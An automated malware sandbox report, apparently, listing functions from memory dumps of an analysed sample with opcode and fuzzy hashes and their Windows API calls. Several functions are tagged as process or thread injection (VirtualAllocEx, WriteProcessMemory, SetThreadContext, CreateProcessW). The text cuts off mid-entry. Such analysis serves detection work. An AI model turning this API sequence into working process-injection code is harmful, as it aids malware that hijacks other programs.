API ID:
String ID:
API String ID:
Opcode ID: c41854d9549e978aa0018a603d663b12fc3291ffb77f1710e930e218af77d44b
Instruction ID: 8531dd379bb49f9be5ffd4c64c4a53d3d02fbd61f5d20662ead482475a00f622
Opcode Fuzzy Hash: c41854d9549e978aa0018a603d663b12fc3291ffb77f1710e930e218af77d44b
Instruction Fuzzy Hash: FA43E874A042198FCB24DF68C8C8AADB7B2BF89314F1585D9D509AB365DB70EE81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 05C6AE50, Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

h, xrefs: 05C6B087

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID: h
API String ID: 0-1534236823
Opcode ID: 29beb62e0b93dd5250b7919bda3c2c8f73cfbe8843e5807c88750a3ffa55595e
Instruction ID: 992609e1e228e95b45ef1a9b20c87d3137ba60ef8c9fc3e83bd2dfe51e36e818
Opcode Fuzzy Hash: 29beb62e0b93dd5250b7919bda3c2c8f73cfbe8843e5807c88750a3ffa55595e
Instruction Fuzzy Hash: 95A1F6B4E0524ADBCB54CFA9C9805AEFBF2BF89304F24C529D414BB354E7349A41CB66

Uniqueness

Uniqueness Score: -1.00%

Function 012D6CCF, Relevance: 1.4, Strings: 1, Instructions: 163COMMON

Download Yara Rule

Strings

J`, xrefs: 012D6E92

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID: J`
API String ID: 0-2006704985
Opcode ID: 655463248fdc8a09eaa98f71f407c33101fe3b3a175faff98bbb7cd5e739170c
Instruction ID: 7819044111967c58ac9c529c29d541cab4b33e6af8e0ef3ac483a26cbf3b5854
Opcode Fuzzy Hash: 655463248fdc8a09eaa98f71f407c33101fe3b3a175faff98bbb7cd5e739170c
Instruction Fuzzy Hash: 2C6159B4D2520ACFCB04CFA5E5859EEBBB2FF89300F24942AD405B7258D7705A81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 012D1881, Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

Qs^>, xrefs: 012D198B

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID: Qs^>
API String ID: 0-3776646307
Opcode ID: 44bdafa6ba794a58113134e08b55dd40694fb2823bb75673c5ce9df4d3feec94
Instruction ID: 8df9d325b867e4d9035d5144faa4c8e9f0021542ca3c52bb7fc127c4710b3f78
Opcode Fuzzy Hash: 44bdafa6ba794a58113134e08b55dd40694fb2823bb75673c5ce9df4d3feec94
Instruction Fuzzy Hash: 7F516670E142098FDB48CFAAD8406EEFBF2BF89300F14C12AD409B7254D7348A51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 012D22A0, Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

yP&, xrefs: 012D2369

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID: yP&
API String ID: 0-1419126872
Opcode ID: 476716e59f28d4189c5ac9020df98cedfcfd217540e7b51704d9a9be60208f89
Instruction ID: 51ecc9ad75963a27a9caf71b614426c0651492df876f2b2974e138fb295cc24d
Opcode Fuzzy Hash: 476716e59f28d4189c5ac9020df98cedfcfd217540e7b51704d9a9be60208f89
Instruction Fuzzy Hash: 7B3118B1E016588BDB18CFAAD8443DEFBF2BFC9300F14C16AD508AA269DB350A45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 012DE678, Relevance: .7, Instructions: 721COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eef11c3294f80072a5d7dfb5c5502d048a2d51ea4396a84b334c80ab8943e49
Instruction ID: 6a03f31fcadc34ed4ab4ef98ea1cb948a0ad7e46c2ae22c1e9c0e885d191e6e4
Opcode Fuzzy Hash: 2eef11c3294f80072a5d7dfb5c5502d048a2d51ea4396a84b334c80ab8943e49
Instruction Fuzzy Hash: 5C527131B201169FDB19DF68C884AAD7BB6BF84314F168169EA06DF364DB30EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012D3148, Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64bab3fdc3370dfa6d875f16020d1dda7758c1746e89474dfdde977e732a339f
Instruction ID: e26fb6571dee6250c12e790915c8da30734e197f24e86976f457b8d1a51b52af
Opcode Fuzzy Hash: 64bab3fdc3370dfa6d875f16020d1dda7758c1746e89474dfdde977e732a339f
Instruction Fuzzy Hash: A8E1B1B0E1424ACFCB45CFA8D98949EFBB2FF49300B25815AC505AB245D735EE42CF95

Uniqueness

Uniqueness Score: -1.00%

Function 012D3127, Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcd23b26c1ff443e8832481f47c86841da65159f2c0d9a56ef03b602ef9cf01e
Instruction ID: 4bc31ca1d514f16caa937854633057bf2e0f7696b978f6bce2d78f6866073fe1
Opcode Fuzzy Hash: dcd23b26c1ff443e8832481f47c86841da65159f2c0d9a56ef03b602ef9cf01e
Instruction Fuzzy Hash: C9E1B1B0E1424ACFCB45CFA8D98989EFBB2FF49300B25815AC505AB245D735DE42CF95

Uniqueness

Uniqueness Score: -1.00%

Function 012D3258, Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc9eb1e9bc2550479e09d8b3d329e193b11ce97dfc6c826ee939e1acdb6348f
Instruction ID: d08fb47be5e4fba697f392859b0678d919c0b80df5ce044a6facb34f66c55b35
Opcode Fuzzy Hash: 6bc9eb1e9bc2550479e09d8b3d329e193b11ce97dfc6c826ee939e1acdb6348f
Instruction Fuzzy Hash: D1C169B0E15249CFCB08DF99D98589EFBB2FF89300B25815AD505AB314D734AE42CF95

Uniqueness

Uniqueness Score: -1.00%

Function 012D12C0, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2145825c32b4ed0521376f92ab6606edca056f92ac87404e74d29ce6fef5d00
Instruction ID: 56fb6f8047df25fe4ccb233073a8fa756a799220b0b34e7bae5a055ad2a39688
Opcode Fuzzy Hash: d2145825c32b4ed0521376f92ab6606edca056f92ac87404e74d29ce6fef5d00
Instruction Fuzzy Hash: 82B13B75E1025A8FCB44DFA5D880A9EBBB2FF88304F108619D519AB358DB70A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05C64531, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa47073c79bbcf843165fb2040a0faa59df1321383fdb210e6182df14167bfb1
Instruction ID: 1983ac1ba55b29e66929f9c2deee3e69b7074569a180d0b19f1ce05a865c0f25
Opcode Fuzzy Hash: aa47073c79bbcf843165fb2040a0faa59df1321383fdb210e6182df14167bfb1
Instruction Fuzzy Hash: CBA14770E142598FDB08CFAAC8856DEFBB2FF89300F14852AD519AB364DB309A45CF55

Uniqueness

Uniqueness Score: -1.00%

Function 012D0F80, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f60d61a2f32677827f9f25a807710651d2f0aae5dc6ffea48ad2d4dad8b82bcc
Instruction ID: 1d8bdbb05d73f5877ef98cb2f889f026a4fcf07061797eeeaee0c5989ebe7ea8
Opcode Fuzzy Hash: f60d61a2f32677827f9f25a807710651d2f0aae5dc6ffea48ad2d4dad8b82bcc
Instruction Fuzzy Hash: 45A138B0E142498FDB49CFA9C8446EEFBB2FF89300F14812AD815BB265E7359905CF55

Uniqueness

Uniqueness Score: -1.00%

Function 012D837D, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0cb8e1cbaa902044e81f978eec239889d39476e0577cf8d2ca5cbfe8c685138
Instruction ID: 7477ac0b7bc2c353c556cb4696f8c16020da29f5f63351b661ddcf0d16377e10
Opcode Fuzzy Hash: e0cb8e1cbaa902044e81f978eec239889d39476e0577cf8d2ca5cbfe8c685138
Instruction Fuzzy Hash: 1AA12875E0020C8FCB58DFA5D985A9DBBF2FF88304F10816AE519AB3A5DB309946DF40

Uniqueness

Uniqueness Score: -1.00%

Function 05C645C8, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 356eb273e76c7952e5a1f86f6bd977af31834dec4b6456e9422e1c5051bbd4b1
Instruction ID: c3a2e81f115033c68cf3501acd1512cc99502aadbaafb79270bb524a3dfb61f6
Opcode Fuzzy Hash: 356eb273e76c7952e5a1f86f6bd977af31834dec4b6456e9422e1c5051bbd4b1
Instruction Fuzzy Hash: 5B81C374E142198FDB08CFAAC8846EEFBB2BF89300F14952AD519BB364DB309945CF55

Uniqueness

Uniqueness Score: -1.00%

Function 05C6E7E0, Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e13724ae857c92c72b0a32e796ce4d89d4f74b6eeebb991cbfd7cefb0f02868
Instruction ID: 279319428056e661d8a2bd951a55cafeacdc648be7cb8b92a20d3a538806e439
Opcode Fuzzy Hash: 2e13724ae857c92c72b0a32e796ce4d89d4f74b6eeebb991cbfd7cefb0f02868
Instruction Fuzzy Hash: AD813A75E4422ACBDB64CF66D884BE9B7B6BF89300F1085EAD50DA7654EB705E80CF40

Uniqueness

Uniqueness Score: -1.00%

Function 012D8400, Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3867bdbfb2895e81dfde2fb32fc73d15c94a26c2d05be5c9d34ff574b8fb0a
Instruction ID: 8a510b67bd753ceeb424cba3a67f4429592e88a1369bbe72b222c19f8e8bf762
Opcode Fuzzy Hash: fd3867bdbfb2895e81dfde2fb32fc73d15c94a26c2d05be5c9d34ff574b8fb0a
Instruction Fuzzy Hash: A781D375E002189FDB18DFA5D895ADEBBB2FF88304F208169E619AB354DB309D45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 012D1028, Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9c09e85e258726d916e86adaab50ec883e603de84d7a90ec28329802a99220
Instruction ID: 2acbc5b69567c76ac2894e2ddaff0dae41f81d3ea463cf708e0baf4ba3c2cfe9
Opcode Fuzzy Hash: dc9c09e85e258726d916e86adaab50ec883e603de84d7a90ec28329802a99220
Instruction Fuzzy Hash: 0281D274E102598FCB08CFAAC844AAEFBB2FF89300F14852AD919AB358D7719905CF54

Uniqueness

Uniqueness Score: -1.00%

Function 012D71EF, Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0185990e3c48374a0ebce0b74d19b1a9f70d2672ee0b91bc578454a3664a5ed2
Instruction ID: f7fa86f0b4a69852039e0b02c2707e89374c6e7ab44358451211aea003dcbbc9
Opcode Fuzzy Hash: 0185990e3c48374a0ebce0b74d19b1a9f70d2672ee0b91bc578454a3664a5ed2
Instruction Fuzzy Hash: D2611774E112499FCB04CFAAD5859AEFBB2FF89300F24D06AD905AB314D7349A45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 012D7200, Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdb204e339cf9abe687f645528810d61218f00b63089a9ad1b9b77bc2eff33c5
Instruction ID: b20841455c7181a7ddd3de84823fa22827d523255958a1d945c9891556977c30
Opcode Fuzzy Hash: fdb204e339cf9abe687f645528810d61218f00b63089a9ad1b9b77bc2eff33c5
Instruction Fuzzy Hash: 9A610474E1120A9BCB04CFAAD5855AEFBB2FF88300F24912AD915B7314D7349A45CF95

Uniqueness

Uniqueness Score: -1.00%

Function 012DDA1A, Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d3413acfb6026d94458eff394b287d2206633e7d6fb94a6c6c8ad924bcc7c7
Instruction ID: 669bf49ff06a97d816bb7050948dea44122cd8d14d69a7f51e52bc93402778a3
Opcode Fuzzy Hash: 13d3413acfb6026d94458eff394b287d2206633e7d6fb94a6c6c8ad924bcc7c7
Instruction Fuzzy Hash: 8B511574E046198FCB04DFA9C981AEEFBB2FF88304F24C169D518A7394DB349942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012D69C0, Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7540c77e77e097755afa4b8e4ac408dda7322f480a0571013f76fa3b3f38d1bd
Instruction ID: eaa2303a687ba124ae0bc9b41b2a44c6fe11e1cb8e6248fb8d6c1d6a3266a479
Opcode Fuzzy Hash: 7540c77e77e097755afa4b8e4ac408dda7322f480a0571013f76fa3b3f38d1bd
Instruction Fuzzy Hash: C9510574E6520ADFCB04CFAAD5815AEFFB2FB89300F24E42AD505B7254E7709A418B91

Uniqueness

Uniqueness Score: -1.00%

Function 05C6E7D0, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71be10755e40ae3d49af21383f80dcded4d77fef58e258014dbc695950840427
Instruction ID: 67dcecbf047a95bf0e4aba0043ff1f8d9b9e150548afeebe6cfe8cd65cb6f375
Opcode Fuzzy Hash: 71be10755e40ae3d49af21383f80dcded4d77fef58e258014dbc695950840427
Instruction Fuzzy Hash: 1D513C75E1122A8FDB68CF66CC84BD9B7B2BF89300F10C5EAD509A7254EB705A80CF40

Uniqueness

Uniqueness Score: -1.00%

Function 012D6F38, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c40006f1bb9caf9a3d18493bd90e9e34f07f81f9a76ca58370b830521617f5
Instruction ID: 04f1f66d9cc3c52c12038d498fef9e8a5339ca9703b7d60f9090eb3aec4454a5
Opcode Fuzzy Hash: c3c40006f1bb9caf9a3d18493bd90e9e34f07f81f9a76ca58370b830521617f5
Instruction Fuzzy Hash: B25127B4E2520ACFCB04CFA9D5856EEFBF2FB89300F24956AD405B7214D7349A41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 012D6F48, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f91c0b2dd115abadf6bf4928acaa192d33328f0e732df4cac9d6188175972e06
Instruction ID: 07cc0c3b1fe8408a8e3d92091aea891dca0767fa86387a9b787e8015e4f1e2ee
Opcode Fuzzy Hash: f91c0b2dd115abadf6bf4928acaa192d33328f0e732df4cac9d6188175972e06
Instruction Fuzzy Hash: A85138B4E2520ACFCB04CFAAD5456EEFBF2FB88300F24942AD505B7214D7349A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 05C6E5A1, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f019d658b5f41fcf83f3a5f05c9869a85336b68cca00f0a6b9212033408c19
Instruction ID: a584fec0124366ae547f39f344f6e472af50ef158b921318237ed463b931c684
Opcode Fuzzy Hash: f5f019d658b5f41fcf83f3a5f05c9869a85336b68cca00f0a6b9212033408c19
Instruction Fuzzy Hash: 50514874D1621CDFCB04CFAAE5806EEFBB6EF8A310F20982AE405B7254D7359A419F15

Uniqueness

Uniqueness Score: -1.00%

Function 012D7511, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f57f1706184f8cb6f1002966a262ccef31f4004dd374c0ee421764e8d6151e2
Instruction ID: 2fd341e71b3027cf3472bf6f2aaecd54b522df486b1a69eac571464b1111384c
Opcode Fuzzy Hash: 8f57f1706184f8cb6f1002966a262ccef31f4004dd374c0ee421764e8d6151e2
Instruction Fuzzy Hash: B5416B74E1429A8FCB04CFAAE8454AEFBF2FF88200F54C56AD415B7354EB389A018F51

Uniqueness

Uniqueness Score: -1.00%

Function 012D7520, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50b5e5298084f6abd8bb3533fdf2af59abf5fe2f03db9f6e63777a28ef95af7b
Instruction ID: 20e58074a0bee153bae480adbaff2bb045d58bd5134f8c3d508c234732811d61
Opcode Fuzzy Hash: 50b5e5298084f6abd8bb3533fdf2af59abf5fe2f03db9f6e63777a28ef95af7b
Instruction Fuzzy Hash: 6C417C74E102598FCB08CFAAE8455AEFBF2FF88200F54D52AD415B7354EB389A018F91

Uniqueness

Uniqueness Score: -1.00%

Function 05C65C2B, Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59eb0461dcfec93dd2acc04c0c19ef0b7a2104d472e46e1c361c9c3f7022bf9f
Instruction ID: 4c6b302403f07d8a432926b4d6b5dca7738980d9c3ce9c770cef894338214d0b
Opcode Fuzzy Hash: 59eb0461dcfec93dd2acc04c0c19ef0b7a2104d472e46e1c361c9c3f7022bf9f
Instruction Fuzzy Hash: 2E3108B1E046588BDB18CFAAD8547DEFFB2AFC9310F14C16AD409AA254DB740A45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05C694C3, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ff7697aae34717036329ed3145dd7c3d04fa46822661a52947a8e9c9b6967d
Instruction ID: 4e24e9173c44c24035a1d9320fa73a8768dffd91be575fd0780a92bd50fd1f4b
Opcode Fuzzy Hash: 07ff7697aae34717036329ed3145dd7c3d04fa46822661a52947a8e9c9b6967d
Instruction Fuzzy Hash: 61212471E046598BEB58CFABD8406DEFBF3AFC9200F04C5B5C418A7214DB300A458F51

Uniqueness

Uniqueness Score: -1.00%

Function 012DF6B7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 146processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 012DF813

Strings

T, xrefs: 012DF701

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: CreateProcess
String ID: T
API String ID: 963392458-1948115984
Opcode ID: a69b575e7e4efbf3aa69735985df996f2ea40c398243ea30776416815f5f6e47
Instruction ID: dbed222287e35ef90eeb3326191641ac5b3872872c6d9151e1e87ab5a3fd3aa2
Opcode Fuzzy Hash: a69b575e7e4efbf3aa69735985df996f2ea40c398243ea30776416815f5f6e47
Instruction Fuzzy Hash: 18512471900329DFEB24CF99C980BDDBBB1BF48314F158099E909B7210DB309A89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012DF6C0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 143processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 012DF813

Strings

T, xrefs: 012DF701

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: CreateProcess
String ID: T
API String ID: 963392458-1948115984
Opcode ID: dd0684733d44dd30ca1644091d273097a2cc65873b50089280e65f28c3b34806
Instruction ID: 3cc6810b8d5f1f5caba93ee906d5d92423f6a1f655f5d94adcb4e350de4bc8eb
Opcode Fuzzy Hash: dd0684733d44dd30ca1644091d273097a2cc65873b50089280e65f28c3b34806
Instruction Fuzzy Hash: 6F510371900329DFEB24CF99D980BDDBBB5BF48314F15809AE909B7210DB709A89CF91

Uniqueness

Uniqueness Score: -1.00%

Function 012DFC60, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 012DFCF5

Strings

T, xrefs: 012DFC8A

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID: T
API String ID: 3559483778-1948115984
Opcode ID: 0d83f324ab6ed0dabd4029a88b9df48d6c6ec41ea54594ca9e8bfd96115ab158
Instruction ID: 3320fa625d201b8135cb1236bf102776ac3f6fe92f0b61a45b9d3d48b0bbbad1
Opcode Fuzzy Hash: 0d83f324ab6ed0dabd4029a88b9df48d6c6ec41ea54594ca9e8bfd96115ab158
Instruction Fuzzy Hash: 492124B19003499FDB10CF9AD885BDEBBF4FF48314F10842AE919A3250D774A954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012DFC68, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 012DFCF5

Strings

T, xrefs: 012DFC8A

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID: T
API String ID: 3559483778-1948115984
Opcode ID: c32de2c414f579147f66e072305cd0936e258f145e81bf1e906d32f7d7b7c328
Instruction ID: edd37dd7b2beffd72dfbae19b8c3bfca54bb5bf0d0ad1945ae7eb93e60d3ad4c
Opcode Fuzzy Hash: c32de2c414f579147f66e072305cd0936e258f145e81bf1e906d32f7d7b7c328
Instruction Fuzzy Hash: 4C2114B19003499FDB10CF9AD985BEEBBF4FF48314F10842AE919A3340D774A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 012DFAE8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 012DFB6F

Strings

T, xrefs: 012DFB12

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID: T
API String ID: 1726664587-1948115984
Opcode ID: 2c4b292ba03ee2d5baf99adbe1d98a73cd7b6b4d1270eb6c10eeec3de090e29f
Instruction ID: b6a00dd3e31b0b615a78d57bee1dbba06804b276cd9d0fdc870e185b89628cb6
Opcode Fuzzy Hash: 2c4b292ba03ee2d5baf99adbe1d98a73cd7b6b4d1270eb6c10eeec3de090e29f
Instruction Fuzzy Hash: F221EFB59003499FCB10CF9AD985AEEFBF4FB4C320F00842AE918A7250D334A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 012DFA29, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 012DFAA7

Strings

T, xrefs: 012DFA4F

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: ContextThread
String ID: T
API String ID: 1591575202-1948115984
Opcode ID: 563494f01e273e2662de1af1f4cc601bf12239cb8ba3fa54942751b93997a7d0
Instruction ID: a2441eae25dff4ee232479f0c111f8d887f0e7e48089c8da9a43d985e8a62255
Opcode Fuzzy Hash: 563494f01e273e2662de1af1f4cc601bf12239cb8ba3fa54942751b93997a7d0
Instruction Fuzzy Hash: 2F2147B1D0025A8FDB10CFAAC5857EEFBB4BF48324F04812AD418B3240D778A946CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012DFAF0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 012DFB6F

Strings

T, xrefs: 012DFB12

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID: T
API String ID: 1726664587-1948115984
Opcode ID: 7c8bb7189688d823c5399343c9afcd6f2eece9641ec8313b8146c8c461c8f20c
Instruction ID: 4556798f5b73e4ad41dc9d7105a0dc46299a9ad8e5c4da164a8afaa439222693
Opcode Fuzzy Hash: 7c8bb7189688d823c5399343c9afcd6f2eece9641ec8313b8146c8c461c8f20c
Instruction Fuzzy Hash: 2021D0B59003499FCB10CF9AD985BEEBBF4FB48320F10842AE918A3250D374A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 012DFA30, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 012DFAA7

Strings

T, xrefs: 012DFA4F

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: ContextThread
String ID: T
API String ID: 1591575202-1948115984
Opcode ID: 5ddad921897eb932f5e3c46bb823de4f1b437bcc003b409df96418ce826401a4
Instruction ID: f6cabd1d71278468e4e71a5cca3dbb9b2d5c33edb232db49dde0ea93682e8428
Opcode Fuzzy Hash: 5ddad921897eb932f5e3c46bb823de4f1b437bcc003b409df96418ce826401a4
Instruction Fuzzy Hash: 6A214AB1D102199FDB00CF9AC5857EEFBF4BB48224F00812AD518B3340D774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012DFBB8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 012DFC2B

Strings

T, xrefs: 012DFBDA

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: T
API String ID: 4275171209-1948115984
Opcode ID: 3d705a969c542c1133dabd713ed6a8f97cfb50f9278c3e06ba64c216d2379ce3
Instruction ID: 19e5f09a5eda44cc561dec8eba056af5080456d38dd32223f770f151772c3cf6
Opcode Fuzzy Hash: 3d705a969c542c1133dabd713ed6a8f97cfb50f9278c3e06ba64c216d2379ce3
Instruction Fuzzy Hash: A811F0B59002499FCB10CF9AD984BDEBBF4FB49320F108419E929A7610D335A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 012DFBC0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 012DFC2B

Strings

